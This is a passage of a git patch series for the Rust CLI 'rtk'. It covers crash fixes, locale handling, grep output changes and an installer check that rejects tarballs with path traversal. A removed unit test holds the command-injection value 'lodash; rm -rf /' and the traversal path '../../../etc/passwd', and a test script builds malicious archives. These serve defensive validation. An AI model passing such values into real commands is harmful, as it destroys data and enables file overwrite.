command injection - for pkg in packages { - if !is_valid_package_name(pkg) { - anyhow::bail!( - "Invalid package name: '{}' (contains unsafe characters)", - pkg - ); - } - } - let mut cmd = resolved_command("pnpm"); cmd.arg("install"); - for pkg in packages { - cmd.arg(pkg); - } - for arg in args { cmd.arg(arg); } @@ -444,8 +414,8 @@ fn run_install(packages: &[String], args: &[String], verbose: u8) -> Result println!("{}", filtered); timer.track( - &format!("pnpm install {}", packages.join(" ")), - &format!("rtk pnpm install {}", packages.join(" ")), + &format!("pnpm install"), + &format!("rtk pnpm install"), &combined, &filtered, ); @@ -540,14 +510,6 @@ mod tests { assert_eq!(data.dependencies[0].name, "express"); } - #[test] - fn test_package_name_validation() { - assert!(is_valid_package_name("lodash")); - assert!(is_valid_package_name("@clerk/express")); - assert!(!is_valid_package_name("../../../etc/passwd")); - assert!(!is_valid_package_name("lodash; rm -rf /")); - } - #[test] fn test_run_passthrough_accepts_args() { // Test that run_passthrough compiles and has correct signature diff --git a/src/main.rs b/src/main.rs index 11332034a0..0499c7b093 100644 --- a/src/main.rs +++ b/src/main.rs @@ -801,8 +801,6 @@ enum PnpmCommands { }, /// Install packages (filter progress bars) Install { - /// Packages to install - packages: Vec, /// Additional pnpm arguments #[arg(trailing_var_arg = true, allow_hyphen_values = true)] args: Vec, @@ -1486,8 +1484,8 @@ fn run_cli() -> Result { &merge_pnpm_args(&filter, &args), cli.verbose, )?, - PnpmCommands::Install { packages, args } => pnpm_cmd::run( - pnpm_cmd::PnpmCommand::Install { packages }, + PnpmCommands::Install { args } => pnpm_cmd::run( + pnpm_cmd::PnpmCommand::Install, &merge_pnpm_args(&filter, &args), cli.verbose, )?, From 49a094ac9ba7615a14f2ee0b8fad10932ffe76f7 Mon Sep 17 00:00:00 2001 From: Ashwin Gopalsamy <47941624+ashwingopalsamy@users.noreply.github.com> Date: Mon, 6 Apr 2026 09:57:01 +0530 Subject: [PATCH 013/204] fix: reset SIGPIPE to default handler to avoid panic --- src/main.rs | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/src/main.rs b/src/main.rs index 11332034a0..9f526264b5 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1247,6 +1247,15 @@ fn validate_pnpm_filters(filters: &[String], command: &PnpmCommands) -> Option code, Err(e) => { From 03cc790a6a67a033185d45ad85df6641c5b50bee Mon Sep 17 00:00:00 2001 From: Ashwin Gopalsamy <47941624+ashwingopalsamy@users.noreply.github.com> Date: Mon, 6 Apr 2026 10:14:01 +0530 Subject: [PATCH 014/204] test: add ignored test for broken-pipe crash --- src/main.rs | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/src/main.rs b/src/main.rs index 9f526264b5..f9be6380c9 100644 --- a/src/main.rs +++ b/src/main.rs @@ -2736,4 +2736,38 @@ mod tests { _ => panic!("Expected Pnpm Build command"), } } + + #[test] + #[ignore] // Integration test: requires `cargo build` first + fn test_broken_pipe_does_not_crash() { + let bin_path = std::path::PathBuf::from(env!("CARGO_MANIFEST_DIR")) + .join("target") + .join("debug") + .join("rtk"); + assert!( + bin_path.exists(), + "Debug binary not found at {:?} - run `cargo build` first", + bin_path + ); + + let mut child = std::process::Command::new(&bin_path) + .args(["git", "log", "--online", "-50"]) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::piped()) + .spawn() + .expect("Failed to spawn rtk"); + + // Read one byte then drop stdout to close the pipe. + let mut stdout = child.stdout.take().unwrap(); + let mut buf = [0u8; 1]; + let _ = std::io::Read::read(&mut stdout, &mut buf); + + let status = child.wait().expect("Failed to wait for rtk"); + let code = status.code().unwrap_or(-1); + + assert_ne!( + code, 134, + "rtk crashed with SIGABRT (exit 134) on broken pipe - SIGPIPE handler missing" + ); + } } From ccf3a020ea6641482b31a0a841806ca156fe6a50 Mon Sep 17 00:00:00 2001 From: Ashwin Gopalsamy <47941624+ashwingopalsamy@users.noreply.github.com> Date: Mon, 13 Apr 2026 09:37:07 +0530 Subject: [PATCH 015/204] fix: address PR review comments --- src/main.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/main.rs b/src/main.rs index f9be6380c9..00557d4ced 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1251,7 +1251,7 @@ fn main() { // e.g `rtk git log | head` exits silently instead of panicking. // Rust ignores SIGPIPE by default and with panic="abort" in the // release profile that becomes SIGABRT + coredump. - // #[cfg(unix)] + #[cfg(unix)] unsafe { libc::signal(libc::SIGPIPE, libc::SIG_DFL); } @@ -2751,7 +2751,7 @@ mod tests { ); let mut child = std::process::Command::new(&bin_path) - .args(["git", "log", "--online", "-50"]) + .args(["git", "log", "--oneline", "-50"]) .stdout(std::process::Stdio::piped()) .stderr(std::process::Stdio::piped()) .spawn() From c5ec92fac8d358e100b12ed2f1e9277bc924bbdd Mon Sep 17 00:00:00 2001 From: "shalk(xiao kun)" Date: Mon, 13 Apr 2026 17:09:42 +0800 Subject: [PATCH 016/204] fix(git): fix panic on multibyte chars in commit output MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit git commit on an initial commit under a Chinese locale outputs: [master(根提交) fb597ec] Initial commit The old code found the first space and sliced line[1..hash_start], yielding "master(根提交)" (21 bytes). hash.len() >= 7 was true, so it tried &hash[..7] — but byte 7 falls inside the 3-byte '(' character, causing a panic. Two bugs were present: 1. Logic: the code grabbed the token *before* the first space (branch name), not the commit hash. The hash is always the last whitespace-separated token inside the [...] brackets. 2. Safety: raw byte slicing on a potentially non-ASCII string. Fix: find ']', extract the bracket content, split_whitespace() and take next_back() to get the hash. Use chars().take(7) for the short-hash slice so it is always char-boundary-safe. --- src/cmds/git/git.rs | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 2921da430e..153603778a 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -961,11 +961,16 @@ fn run_commit(args: &[String], verbose: u8, global_args: &[String]) -> Result= 7 { - format!("ok {}", &hash[..7.min(hash.len())]) + // Git hashes are ASCII; chars().take(7) is safe regardless + let short_hash: String = hash.chars().take(7).collect(); + format!("ok {}", short_hash) } else { "ok".to_string() } From ab4fa7b5395f0d376ae0e52ba5352d091d040276 Mon Sep 17 00:00:00 2001 From: "shalk(xiao kun)" Date: Mon, 13 Apr 2026 19:49:29 +0800 Subject: [PATCH 017/204] test(git): add regression tests for commit output parsing with multibyte branch names MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Extracts parse_commit_output into a testable helper function and adds 7 comprehensive unit tests covering: - Normal branch names - Root-commit annotations - Multibyte branch names (Chinese, Thai) — regression test for the panic fix - Edge cases (no bracket, short hash, empty input) Tests verify the fix handles UTF-8 safely by anchoring on ']' and using char-safe slicing. Co-Authored-By: Claude Haiku 4.5 --- src/cmds/git/git.rs | 78 +++++++++++++++++++++++++++++++++++++-------- 1 file changed, 65 insertions(+), 13 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 153603778a..b2dfa96329 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -941,6 +941,24 @@ fn build_commit_command(args: &[String], global_args: &[String]) -> Command { cmd } +/// Parse the first line of `git commit` success output and return a compact token. +/// Handles: `[main abc1234def] message`, `[main (root-commit) abc1234def] msg`, +/// localized variants, and multibyte branch names. +fn parse_commit_output(line: &str) -> String { + if let Some(bracket_end) = line.find(']') { + let bracket_content = &line[1..bracket_end]; + let hash = bracket_content.split_whitespace().next_back().unwrap_or(""); + if !hash.is_empty() && hash.len() >= 7 { + let short_hash: String = hash.chars().take(7).collect(); + format!("ok {}", short_hash) + } else { + "ok".to_string() + } + } else { + "ok".to_string() + } +} + fn run_commit(args: &[String], verbose: u8, global_args: &[String]) -> Result { let timer = tracking::TimedExecution::start(); @@ -964,19 +982,7 @@ fn run_commit(args: &[String], verbose: u8, global_args: &[String]) -> Result= 7 { - // Git hashes are ASCII; chars().take(7) is safe regardless - let short_hash: String = hash.chars().take(7).collect(); - format!("ok {}", short_hash) - } else { - "ok".to_string() - } - } else { - "ok".to_string() - } + parse_commit_output(line) } else { "ok".to_string() }; @@ -2278,6 +2284,52 @@ no changes added to commit (use "git add" and/or "git commit -a") assert!(result.contains("* main")); } + // --- commit output parsing --- + + #[test] + fn test_parse_commit_output_normal() { + let line = "[main abc1234def] add feature"; + assert_eq!(parse_commit_output(line), "ok abc1234"); + } + + #[test] + fn test_parse_commit_output_root_commit() { + let line = "[main (root-commit) abc1234def] initial commit"; + assert_eq!(parse_commit_output(line), "ok abc1234"); + } + + /// Regression test: multibyte branch name must not panic (was byte-slicing before fix) + #[test] + fn test_parse_commit_output_multibyte_branch() { + let line = "[分支名 abc1234def] 提交消息"; + assert_eq!(parse_commit_output(line), "ok abc1234"); + } + + /// Regression test: Thai branch name (3 bytes per char) + #[test] + fn test_parse_commit_output_thai_branch() { + let line = "[สาขา abc1234def] commit message"; + assert_eq!(parse_commit_output(line), "ok abc1234"); + } + + #[test] + fn test_parse_commit_output_no_bracket() { + let line = "some other output"; + assert_eq!(parse_commit_output(line), "ok"); + } + + #[test] + fn test_parse_commit_output_short_hash() { + // Hash shorter than 7 chars — treat as "ok" (no hash shown) + let line = "[main abc12] message"; + assert_eq!(parse_commit_output(line), "ok"); + } + + #[test] + fn test_parse_commit_output_empty() { + assert_eq!(parse_commit_output(""), "ok"); + } + /// Regression test: --oneline and other user format flags must preserve all commits. /// Before fix, filter_log_output split on ---END--- which doesn't exist when /// the user specifies their own format, resulting in only 2 commits surviving. From 0d70760ef98749203dbaeaebe2323169436afdf3 Mon Sep 17 00:00:00 2001 From: Lumin Cui Date: Thu, 16 Apr 2026 13:46:58 +0800 Subject: [PATCH 018/204] fix(ls): add LC_ALL=C and fallback to raw on unrecognized locale - Force LC_ALL=C so ls always outputs English month names regardless of system locale - When no lines are parsed (e.g., non-English locale where regex fails to match), fall back to raw output instead of returning '(empty)' - This prevents silent data loss for users in zh_CN/ja/ko/etc. locales - Fixes #1276 --- src/cmds/system/ls.rs | 99 ++++++++++++++++++++++++++----------------- 1 file changed, 59 insertions(+), 40 deletions(-) diff --git a/src/cmds/system/ls.rs b/src/cmds/system/ls.rs index ac40ae328d..8f80da7ffe 100644 --- a/src/cmds/system/ls.rs +++ b/src/cmds/system/ls.rs @@ -35,6 +35,7 @@ pub fn run(args: &[String], verbose: u8) -> Result { .collect(); let mut cmd = resolved_command("ls"); + cmd.env("LC_ALL", "C"); cmd.arg("-la"); for flag in &flags { if flag.starts_with("--") { @@ -72,7 +73,16 @@ pub fn run(args: &[String], verbose: u8) -> Result { "ls", &format!("-la {}", target_display), |raw| { - let (entries, summary) = compact_ls(raw, show_all); + let (entries, summary, parsed_count) = compact_ls(raw, show_all); + + // If no lines were parsed (e.g., unrecognized locale), fall back to raw output. + // This is safer than returning "(empty)" for a non-empty directory. + let has_content = raw + .lines() + .any(|l| !l.starts_with("total ") && !l.is_empty()); + if parsed_count == 0 && has_content { + return raw.to_string(); + } // Only show summary in interactive mode (not when piped) let is_tty = std::io::stdout().is_terminal(); @@ -150,22 +160,28 @@ fn parse_ls_line(line: &str) -> Option<(char, u64, String)> { /// Parse ls -la output into compact format: /// name/ (dirs) /// name size (files) -/// Returns (entries, summary) so caller can suppress summary when piped. -fn compact_ls(raw: &str, show_all: bool) -> (String, String) { +/// Returns (entries, summary, parsed_count) so caller can suppress summary when piped. +/// parsed_count tracks how many non-header lines were successfully parsed. +/// If parsed_count == 0 but raw had content, caller should fall back to raw output. +fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { use std::collections::HashMap; let mut dirs: Vec = Vec::new(); let mut files: Vec<(String, String)> = Vec::new(); // (name, size) let mut by_ext: HashMap = HashMap::new(); + let mut lines_seen: usize = 0; + let mut parsed_count: usize = 0; for line in raw.lines() { if line.starts_with("total ") || line.is_empty() { continue; } + lines_seen += 1; let Some((file_type, size, name)) = parse_ls_line(line) else { continue; }; + parsed_count += 1; // Skip . and .. if name == "." || name == ".." { @@ -191,7 +207,10 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String) { } if dirs.is_empty() && files.is_empty() { - return ("(empty)\n".to_string(), String::new()); + if lines_seen > 0 && parsed_count == 0 { + return (String::new(), String::new(), 0); + } + return ("(empty)\n".to_string(), String::new(), 0); } let mut entries = String::new(); @@ -229,7 +248,7 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String) { } summary.push('\n'); - (entries, summary) + (entries, summary, parsed_count) } #[cfg(test)] @@ -244,7 +263,7 @@ mod tests { drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 Cargo.toml\n\ -rw-r--r-- 1 user staff 5678 Jan 1 12:00 README.md\n"; - let (entries, _summary) = compact_ls(input, false); + let (entries, _summary, _) = compact_ls(input, false); assert!(entries.contains("src/")); assert!(entries.contains("Cargo.toml")); assert!(entries.contains("README.md")); @@ -265,7 +284,7 @@ mod tests { drwxr-xr-x 2 user staff 64 Jan 1 12:00 target\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 100 Jan 1 12:00 main.rs\n"; - let (entries, _summary) = compact_ls(input, false); + let (entries, _summary, _) = compact_ls(input, false); assert!(!entries.contains("node_modules")); assert!(!entries.contains(".git")); assert!(!entries.contains("target")); @@ -278,7 +297,7 @@ mod tests { let input = "total 8\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 .git\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n"; - let (entries, _summary) = compact_ls(input, true); + let (entries, _summary, _) = compact_ls(input, true); assert!(entries.contains(".git/")); assert!(entries.contains("src/")); } @@ -286,7 +305,7 @@ mod tests { #[test] fn test_compact_empty() { let input = "total 0\n"; - let (entries, summary) = compact_ls(input, false); + let (entries, summary, _) = compact_ls(input, false); assert_eq!(entries, "(empty)\n"); assert!(summary.is_empty()); } @@ -298,7 +317,7 @@ mod tests { -rw-r--r-- 1 user staff 1234 Jan 1 12:00 main.rs\n\ -rw-r--r-- 1 user staff 5678 Jan 1 12:00 lib.rs\n\ -rw-r--r-- 1 user staff 100 Jan 1 12:00 Cargo.toml\n"; - let (_entries, summary) = compact_ls(input, false); + let (_entries, summary, _) = compact_ls(input, false); assert!(summary.contains("Summary: 3 files, 1 dirs")); assert!(summary.contains(".rs")); assert!(summary.contains(".toml")); @@ -318,7 +337,7 @@ mod tests { fn test_compact_handles_filenames_with_spaces() { let input = "total 8\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 my file.txt\n"; - let (entries, _summary) = compact_ls(input, false); + let (entries, _summary, _) = compact_ls(input, false); assert!(entries.contains("my file.txt")); } @@ -326,7 +345,7 @@ mod tests { fn test_compact_symlinks() { let input = "total 8\n\ lrwxr-xr-x 1 user staff 10 Jan 1 12:00 link -> target\n"; - let (entries, _summary) = compact_ls(input, false); + let (entries, _summary, _) = compact_ls(input, false); assert!(entries.contains("link -> target")); } @@ -336,7 +355,7 @@ mod tests { let input = "total 48\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 main.rs\n"; - let (entries, summary) = compact_ls(input, false); + let (entries, summary, _) = compact_ls(input, false); assert!( !entries.contains("Summary:"), "entries must not contain summary" @@ -355,7 +374,7 @@ mod tests { drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 main.rs\n\ -rw-r--r-- 1 user staff 5678 Jan 1 12:00 lib.rs\n"; - let (entries, _summary) = compact_ls(input, false); + let (entries, _summary, _) = compact_ls(input, false); let line_count = entries.lines().count(); assert_eq!( line_count, 3, @@ -370,7 +389,7 @@ mod tests { let input = "total 8\n\ -rw-r--r-- 1 fjeanne utilisa. du domaine 0 Mar 31 16:18 empty.txt\n\ -rw-r--r-- 1 fjeanne utilisa. du domaine 1234 Mar 31 16:18 data.json\n"; - let (entries, _summary) = compact_ls(input, false); + let (entries, _summary, _) = compact_ls(input, false); assert!( entries.contains("empty.txt"), "should contain 'empty.txt', got: {entries}" @@ -398,23 +417,18 @@ mod tests { // Some systems show year instead of time for old files let input = "total 8\n\ -rw-r--r-- 1 user staff 5678 Dec 25 2024 archive.tar\n"; - let (entries, _summary) = compact_ls(input, false); + let (entries, _summary, _) = compact_ls(input, false); assert!( entries.contains("archive.tar"), "should contain filename, got: {entries}" ); - assert!( - entries.contains("5.5K"), - "should show 5.5K, got: {entries}" - ); + assert!(entries.contains("5.5K"), "should show 5.5K, got: {entries}"); } #[test] fn test_parse_ls_line_basic() { - let (ft, size, name) = parse_ls_line( - "-rw-r--r-- 1 user staff 1234 Jan 1 12:00 file.txt", - ) - .unwrap(); + let (ft, size, name) = + parse_ls_line("-rw-r--r-- 1 user staff 1234 Jan 1 12:00 file.txt").unwrap(); assert_eq!(ft, '-'); assert_eq!(size, 1234); assert_eq!(name, "file.txt"); @@ -422,10 +436,9 @@ mod tests { #[test] fn test_parse_ls_line_multiline_group() { - let (ft, size, name) = parse_ls_line( - "-rw-r--r-- 1 fjeanne utilisa. du domaine 0 Mar 31 16:18 empty.txt", - ) - .unwrap(); + let (ft, size, name) = + parse_ls_line("-rw-r--r-- 1 fjeanne utilisa. du domaine 0 Mar 31 16:18 empty.txt") + .unwrap(); assert_eq!(ft, '-'); assert_eq!(size, 0); assert_eq!(name, "empty.txt"); @@ -433,10 +446,9 @@ mod tests { #[test] fn test_parse_ls_line_dir_with_space_in_group() { - let (ft, size, name) = parse_ls_line( - "drwxr-xr-x 2 fjeanne utilisa. du domaine 64 Mar 31 16:18 my dir", - ) - .unwrap(); + let (ft, size, name) = + parse_ls_line("drwxr-xr-x 2 fjeanne utilisa. du domaine 64 Mar 31 16:18 my dir") + .unwrap(); assert_eq!(ft, 'd'); assert_eq!(size, 64); assert_eq!(name, "my dir"); @@ -444,10 +456,8 @@ mod tests { #[test] fn test_parse_ls_line_symlink() { - let (ft, size, name) = parse_ls_line( - "lrwxr-xr-x 1 user staff 10 Jan 1 12:00 link -> target", - ) - .unwrap(); + let (ft, size, name) = + parse_ls_line("lrwxr-xr-x 1 user staff 10 Jan 1 12:00 link -> target").unwrap(); assert_eq!(ft, 'l'); assert_eq!(size, 10); assert_eq!(name, "link -> target"); @@ -460,12 +470,21 @@ mod tests { #[test] fn test_parse_ls_line_year_format() { - let (ft, size, name) = parse_ls_line( - "-rw-r--r-- 1 user staff 5678 Dec 25 2024 old.tar.gz", - ) - .unwrap(); + let (ft, size, name) = + parse_ls_line("-rw-r--r-- 1 user staff 5678 Dec 25 2024 old.tar.gz").unwrap(); assert_eq!(ft, '-'); assert_eq!(size, 5678); assert_eq!(name, "old.tar.gz"); } + + #[test] + fn test_compact_chinese_locale_fallback() { + let input = "total 8\n\ + drwxr-xr-x 2 user staff 64 1月 1 12:00 src\n\ + -rw-r--r-- 1 user staff 1234 1月 1 12:00 main.rs\n"; + let (entries, summary, parsed_count) = compact_ls(input, false); + assert_eq!(parsed_count, 0); + assert!(entries.is_empty()); + assert!(summary.is_empty()); + } } From 9bdf435e8de3a24be213b5d5ab359bd8e7737923 Mon Sep 17 00:00:00 2001 From: Shawn Scott Date: Thu, 26 Mar 2026 14:52:17 -0700 Subject: [PATCH 019/204] fix: grep false negatives, output mangling, and truncation annotations - grep: use --no-ignore-vcs so .gitignore'd files aren't silently skipped (matches grep -r behavior, avoids false negatives in large monorepos) - grep: passthrough raw output for <=50 matches so AI agents can parse standard file:line:content format without retry loops - filter: replace smart_truncate heuristic with clean first-N-lines truncation and a single [X more lines] suffix (eliminates synthetic // ... markers that AI agents misread as code, causing parsing confusion and retries) --- src/cmds/system/grep_cmd.rs | 58 +++++++++++++++++++--------- src/core/filter.rs | 77 ++++++++++++++++++++++++------------- 2 files changed, 90 insertions(+), 45 deletions(-) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index f163f4f85f..83b1886db2 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -29,7 +29,11 @@ pub fn run( let rg_pattern = pattern.replace(r"\|", "|"); let mut rg_cmd = resolved_command("rg"); - rg_cmd.args(["-n", "--no-heading", &rg_pattern, path]); + // --no-ignore-vcs: match grep -r behavior (don't skip .gitignore'd files). + // Without this, rg returns 0 matches for files in .gitignore, causing + // false negatives that make AI agents draw wrong conclusions. + // Using --no-ignore-vcs (not --no-ignore) so .ignore/.rgignore are still respected. + rg_cmd.args(["-n", "--no-heading", "--no-ignore-vcs", &rg_pattern, path]); if let Some(ft) = file_type { rg_cmd.arg("--type").arg(ft); @@ -72,16 +76,18 @@ pub fn run( return Ok(exit_code); } - let mut by_file: HashMap> = HashMap::new(); - let mut total = 0; + // Always filter: truncate long lines, apply per-file and global caps. + // Output in standard file:line:content format that AI agents can parse. + // (A passthrough approach yields 0% savings — no reason for RTK to exist on that path.) + let total_matches = result.stdout.lines().count(); - // Compile context regex once (instead of per-line in clean_line) let context_re = if context_only { Regex::new(&format!("(?i).{{0,20}}{}.*", regex::escape(pattern))).ok() } else { None }; + let mut by_file: HashMap> = HashMap::new(); for line in result.stdout.lines() { let parts: Vec<&str> = line.splitn(3, ':').collect(); @@ -95,43 +101,39 @@ pub fn run( continue; }; - total += 1; let cleaned = clean_line(content, max_line_len, context_re.as_ref(), pattern); by_file.entry(file).or_default().push((line_num, cleaned)); } let mut rtk_output = String::new(); - rtk_output.push_str(&format!("{} matches in {}F:\n\n", total, by_file.len())); + rtk_output.push_str(&format!( + "{} matches in {} files:\n\n", + total_matches, + by_file.len() + )); let mut shown = 0; let mut files: Vec<_> = by_file.iter().collect(); files.sort_by_key(|(f, _)| *f); + let per_file = config::limits().grep_max_per_file; for (file, matches) in files { if shown >= max_results { break; } let file_display = compact_path(file); - rtk_output.push_str(&format!("[file] {} ({}):\n", file_display, matches.len())); - - let per_file = config::limits().grep_max_per_file; for (line_num, content) in matches.iter().take(per_file) { - rtk_output.push_str(&format!(" {:>4}: {}\n", line_num, content)); - shown += 1; if shown >= max_results { break; } + rtk_output.push_str(&format!("{}:{}:{}\n", file_display, line_num, content)); + shown += 1; } - - if matches.len() > per_file { - rtk_output.push_str(&format!(" +{}\n", matches.len() - per_file)); - } - rtk_output.push('\n'); } - if total > shown { - rtk_output.push_str(&format!("... +{}\n", total - shown)); + if total_matches > shown { + rtk_output.push_str(&format!("[+{} more]\n", total_matches - shown)); } print!("{}", rtk_output); @@ -310,4 +312,24 @@ mod tests { } // If rg is not installed, skip gracefully (test still passes) } + + #[test] + fn test_rg_no_ignore_vcs_flag_accepted() { + // Verify rg accepts --no-ignore-vcs (used to match grep -r behavior for .gitignore) + let mut cmd = resolved_command("rg"); + cmd.args([ + "-n", + "--no-heading", + "--no-ignore-vcs", + "NONEXISTENT_PATTERN_12345", + ".", + ]); + if let Ok(output) = cmd.output() { + assert!( + output.status.code() == Some(1) || output.status.success(), + "rg --no-ignore-vcs should be accepted" + ); + } + // If rg is not installed, skip gracefully (test still passes) + } } diff --git a/src/core/filter.rs b/src/core/filter.rs index de74368c7f..90f89ade65 100644 --- a/src/core/filter.rs +++ b/src/core/filter.rs @@ -326,14 +326,15 @@ pub fn smart_truncate(content: &str, max_lines: usize, _lang: &Language) -> Stri return content.to_string(); } - let mut result = Vec::with_capacity(max_lines); + let mut result = Vec::with_capacity(max_lines + 1); let mut kept_lines = 0; - let mut skipped_section = false; for line in &lines { let trimmed = line.trim(); - // Always keep signatures and important structural elements + // Prioritize structurally important lines so the visible window stays useful. + // The old approach interleaved "// ... N lines omitted" markers which AI agents + // treated as code, causing parsing confusion and extra retry loops. let is_important = FUNC_SIGNATURE.is_match(trimmed) || IMPORT_PATTERN.is_match(trimmed) || trimmed.starts_with("pub ") @@ -342,31 +343,20 @@ pub fn smart_truncate(content: &str, max_lines: usize, _lang: &Language) -> Stri || trimmed == "{"; if is_important || kept_lines < max_lines / 2 { - if skipped_section { - result.push(format!( - " // ... {} lines omitted", - lines.len() - kept_lines - )); - skipped_section = false; - } result.push((*line).to_string()); kept_lines += 1; - } else { - skipped_section = true; } + // Non-important lines beyond max_lines/2 are silently skipped — + // no inline markers that could be mistaken for file content. if kept_lines >= max_lines - 1 { break; } } - if skipped_section || kept_lines < lines.len() { - result.push(format!( - "// ... {} more lines (total: {})", - lines.len() - kept_lines, - lines.len() - )); - } + // Single end-of-output marker: not code syntax, unambiguous to AI agents. + // Invariant: kept_lines + N == lines.len() (N = lines not shown) + result.push(format!("[{} more lines]", lines.len() - kept_lines)); result.join("\n") } @@ -484,10 +474,10 @@ fn main() { #[test] fn test_smart_truncate_overflow_count_exact() { - // 200 plain-text lines with max_lines=20. - // smart_truncate keeps the first max_lines/2=10 lines, then skips the rest. - // The overflow message "// ... N more lines (total: T)" must satisfy: - // kept_count + N == T + // 200 plain-text lines (no function signatures/imports) with max_lines=20. + // Smart selection keeps up to max_lines/2=10 non-important lines then stops. + // The overflow message "[N more lines]" must satisfy: + // kept_count + N == total_lines let total_lines = 200usize; let max_lines = 20usize; let content: String = (0..total_lines) @@ -503,11 +493,12 @@ fn main() { .find(|l| l.contains("more lines")) .unwrap_or_else(|| panic!("No overflow message found in:\n{}", output)); - // Parse "// ... N more lines (total: T)" + // Parse "[N more lines]" let reported_more: usize = overflow_line - .split_whitespace() - .find(|w| w.parse::().is_ok()) - .and_then(|w| w.parse().ok()) + .trim() + .strip_prefix('[') + .and_then(|s| s.split_whitespace().next()) + .and_then(|n| n.parse().ok()) .unwrap_or_else(|| panic!("Could not parse overflow count from: {}", overflow_line)); let kept_count = output @@ -524,4 +515,36 @@ fn main() { total_lines ); } + + #[test] + fn test_smart_truncate_no_annotations() { + // 10 plain-text lines, max_lines=3: smart logic keeps first max_lines/2=1 line. + // (None of the lines match FUNC_SIGNATURE or IMPORT_PATTERN patterns.) + let input = "line1\nline2\nline3\nline4\nline5\nline6\nline7\nline8\nline9\nline10\n"; + let output = smart_truncate(input, 3, &Language::Unknown); + // Must NOT contain old-style "// ... N lines omitted" annotations + assert!( + !output.contains("// ..."), + "smart_truncate must not insert synthetic comment annotations" + ); + // Must contain clean end-of-output marker (1 kept + 9 omitted = 10 total) + assert!(output.contains("[9 more lines]")); + // Only the first line is kept (plain-text, no important signatures) + assert!(output.starts_with("line1\n")); + } + + #[test] + fn test_smart_truncate_no_truncation_when_under_limit() { + let input = "a\nb\nc\n"; + let output = smart_truncate(input, 10, &Language::Unknown); + assert_eq!(output, input); + assert!(!output.contains("more lines")); + } + + #[test] + fn test_smart_truncate_exact_limit() { + let input = "a\nb\nc"; + let output = smart_truncate(input, 3, &Language::Unknown); + assert_eq!(output, input); + } } From ac9b22c4d93f9089d30a3f28043cbe057e445f89 Mon Sep 17 00:00:00 2001 From: Ousama Ben Younes Date: Fri, 17 Apr 2026 15:55:32 +0000 Subject: [PATCH 020/204] fix(install): reject archive with path traversal before extraction (#1250) The installer previously ran `tar -xzf` on the downloaded archive with no pre-extraction verification. A malicious mirror could ship a tarball with `../` components or absolute paths and write files anywhere on the user's filesystem (CWE-22). Add a pre-extraction check that lists archive contents with `tar -tzf` and rejects any entry whose name starts with `/` or contains a `..` path component. The check is POSIX-compliant and adds negligible overhead for the single-binary RTK release tarball. Covered by scripts/test-install.sh, which exercises one safe archive and four crafted malicious archives (leading `..`, absolute path, mid-path `..`, trailing `..`) plus a regression guard that ensures the check remains in install.sh. Co-Authored-By: Claude --- install.sh | 7 +++ scripts/test-install.sh | 98 +++++++++++++++++++++++++++++++++++++++++ 2 files changed, 105 insertions(+) create mode 100755 scripts/test-install.sh diff --git a/install.sh b/install.sh index 1654245d9a..7a28622cff 100644 --- a/install.sh +++ b/install.sh @@ -83,6 +83,13 @@ install() { error "Failed to download binary" fi + # Verify archive contents before extraction (CWE-22 path traversal). + # Reject any entry with an absolute path or a ".." component. + info "Verifying archive..." + if tar -tzf "$ARCHIVE" | grep -qE '^/|(^|/)\.\.(/|$)'; then + error "Archive contains unsafe paths (absolute or directory traversal) — refusing to extract" + fi + info "Extracting..." tar -xzf "$ARCHIVE" -C "$TEMP_DIR" diff --git a/scripts/test-install.sh b/scripts/test-install.sh new file mode 100755 index 0000000000..cc863d25e1 --- /dev/null +++ b/scripts/test-install.sh @@ -0,0 +1,98 @@ +#!/usr/bin/env sh +# Tests for install.sh path traversal check (issue #1250, CWE-22). +# +# Verifies: +# 1. Safe archives (single binary, "./prefix", subdirs) are accepted. +# 2. Archives with absolute paths are rejected pre-extraction. +# 3. Archives with ".." components are rejected pre-extraction. +# 4. The check is still present in install.sh (regression guard). + +set -eu + +REPO_ROOT=$(cd "$(dirname "$0")/.." && pwd) +INSTALL_SH="$REPO_ROOT/install.sh" + +if [ ! -f "$INSTALL_SH" ]; then + echo "FAIL: install.sh not found at $INSTALL_SH" + exit 1 +fi + +if ! command -v python3 >/dev/null 2>&1; then + echo "SKIP: python3 not available — crafted tarball tests require python3" + exit 0 +fi + +TMPDIR=$(mktemp -d) +trap 'rm -rf "$TMPDIR"' EXIT + +# The check replicated from install.sh (keep in sync with install.sh). +# Returns 0 when archive is safe, 1 when unsafe. +check_archive() { + if tar -tzf "$1" | grep -qE '^/|(^|/)\.\.(/|$)'; then + return 1 + fi + return 0 +} + +# --- Build safe archive using standard tar --- +mkdir -p "$TMPDIR/safe_src" +printf '#!/bin/sh\necho rtk\n' > "$TMPDIR/safe_src/rtk" +(cd "$TMPDIR/safe_src" && tar -czf "$TMPDIR/safe.tgz" rtk) + +# --- Build crafted malicious 